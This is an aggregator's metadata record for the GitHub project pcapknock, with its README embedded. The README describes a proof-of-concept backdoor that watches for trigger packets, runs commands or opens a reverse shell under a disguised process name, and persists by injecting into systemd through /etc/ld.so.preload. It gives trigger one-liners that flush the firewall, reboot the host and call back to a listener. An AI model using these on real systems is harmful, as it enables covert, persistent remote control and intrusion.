{"id":13775565,"url":"https://github.com/magisterquis/pcapknock","last_synced_at":"2025-05-11T08:32:41.912Z","repository":{"id":50533235,"uuid":"124700889","full_name":"magisterquis/pcapknock","owner":"magisterquis","description":"Watches for trigger packets, runs commands or spawns a shell","archived":true,"fork":false,"pushed_at":"2019-05-29T05:53:37.000Z","size":9867,"stargazers_count":22,"open_issues_count":0,"forks_count":7,"subscribers_count":5,"default_branch":"master","last_synced_at":"2024-08-03T17:12:03.923Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"zlib","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/magisterquis.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-03-10T21:42:59.000Z","updated_at":"2024-04-07T17:42:36.000Z","dependencies_parsed_at":"2022-09-10T11:02:11.783Z","dependency_job_id":null,"html_url":"https://github.com/magisterquis/pcapknock","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/magisterquis%2Fpcapknock","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/magisterquis%2Fpcapknock/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/magisterquis%2Fpcapknock/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/magisterquis%2Fpcapknock/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/magisterquis","download_url":"https://codeload.github.com/magisterquis/pcapknock/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225027462,"owners_count":17409440,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-03T17:01:41.485Z","updated_at":"2024-11-17T10:31:41.775Z","avatar_url":"https://github.com/magisterquis.png","language":"C","funding_links":[],"categories":["\u003ca id=\"eec238a1a2657b70f7bbbe68a4421249\"\u003e\u003c/a\u003e其他"],"sub_categories":["\u003ca id=\"b239f12aca7aa942b45836032cbef99a\"\u003e\u003c/a\u003e转换"],"readme":"PcapKnock\n=========\nPcapKnock listens for specially-crafted packets and either runs a command or\nspawns a reverse shell based on the contents of the packets.  It is meant for\nuse as a PoC; there is no encryption or authentication.  It can either be built\nas a standalone binary or an injectable library.\n\nTested on:\n- OpenBSD\n- FreeBSD (GhostOS)\n- Linux (CentOS, Ubuntu)\n- LXC on Centos (Debian)\n\nFor legal use only.\n\nBuilding\n--------\nThe [`build.sh`](./build.sh) script will try to produce binaries and shared\nobject files, but may well need tweaking.  On Linux, expect to have to wrestle\nyour distro's package manager.  On OpenBSD and FreeBSD, it just works.\n\nThe library and binaries will go into `built/$(uname -s)` in the source tree.\nThe built files are as follows:\n\nName                          | Purpose\n------------------------------|--------\n`pcapknock.standalone`        | \"Normal\" standalone binary.  Nohup it and run it in in the backgroud.\n`pcapknock.standalone.daemon` | Standalone binary which forks itself into the background.\n`pcapknock.standalone.debug`  | Standalone binary which prints debugging info.\n`pcapknock.so`                | Injectable library\n`pcapknock.injector`          | Injects pcapknocks.so into a process with in-memory GDB\n`pcapknock.systemd.so`        | Systemd-specific [preloadable](#persistent-injection) library\n`systemd_dropper.sh`          | Dropper which [preloads](#persistent-injection) vi `pcapknock.systemd.so` via `/etc/ld.so.preload`\n\n\nUsage\n-----\nOnce pcapknock is running as root, all that's required to trigger it is a\npacket containing either a command to run surrounded by `COMMAND...COMMAND` or\nan address to which to call back with a shell surrounded with\n`CALLBACK...CALLBACK`.\n\nTrigger examples:\n```bash\n# Drop the Linux firewall\necho 'iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -F' | nc -u \u003cTARGET\u003e 53\n\n# Reboot a box\ndig @target COMMANDrebootCOMMAND\n\n# Call back on port 80\n(sleep 1 \u0026\u0026 curl -sv -d 'CALLBACK\u003cLOCALIP\u003e:80CALLBACK' http://target) \u0026 nc -nvl 80\n```\n\nFor either a callback or a command, a shell is spawned, disassociated from the\nparent process, and run with the name (i.e. `argv[0]`) `kinit`.  The name may\nbe changed in [`config.h`](./config.h).\n\nConfiguration\n-------------\nThree compile-time preprocessor macros may be set when building to control\naspects of pcapknock's behavior.\n\nMacro            | Effect\n-----------------|-------\n`DEBUG`          | Prints helpful debugging messages\n`DAEMON`         | Causes the standalone binary builds to disassociate from the controlling terminal (What you probably want)\n`PRELOADSYSTEMD` | Buid a library suitable for injection into systemd via `/etc/ld.so.preload`.\n\nThe compiled binaries and shared object files will have the above appended to\ntheir names.\n\nFurther compile-time configuration can be performed by editing\n[`config.h`](./config.h), but in general, this shouldn't be necessary.\n\nThere is no runtime configuration.\n\nLinux Injection\n---------------\nOn Linux, an few additional files are built for injecting into systemd either\non a running system or on boot vi `/etc/ld.so.preload`.\n\n### Live Injection\nThe program `pcapknock.injector` loads `pcapknock.so` and gdb into memory and\nuses gdb to shove pcapknock into another process which may be specified as the\nfirst command-line argument, e.g. `./pcapknock.injector 23`.  Not specifying a\nnumber or specifying an invalid number (like `./pcapknock.injector kittes`)\nwill inject into pid 1.  Turns out it works pretty well.\n\nThe injectee process should be have `libdl` loaded into it as well as have\npermissions to sniff packets (e.g. open a packet socket).  Try a trigger before\ngetting rid of the access used to run `pcapknock.injector`.\n`COMMANDtouch /tmpCOMMAND` works pretty well for testing.\n\nWhen injecting there should be a line something like\n```\n$1 = (void *) 0x559ea705d3f0\n```\nwhich indicates (likely) success.  If the number on the right is 0, something's\ngone wrong.\n\nIf injecting into init (which is the default if no pid is given) expect a lot\nof lines in dmesg and to the console similar to the following:\n```\nkernel:systemd[1]: segfault at 7ffff81e3f5f ip 00007ffff81e3f5f sp 00007ffff81e3f50 error 15 \n```\nApparently systemd is happy segfaulting.  A \"better\" description of systemd can\nbe found in https://amzn.com/B075DYXZW1.\n\n### Persistent Injection\nUsing `/etc/ld.so.preload`, pcapknock can be loaded into systemd from boot by\npointing it at `pcapknock.systemd.so`.  The library will also be loaded into\nevery other process, but it only sniffs if it finds itself in the process with\npid 1.  A convenient dropper, `systemd_dropper.sh`, will write the library to\ndisk as '/usr/local/sbin/libpk.so.4` and add it to `/etc/ld.so.preload`.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmagisterquis%2Fpcapknock","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmagisterquis%2Fpcapknock","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmagisterquis%2Fpcapknock/lists"}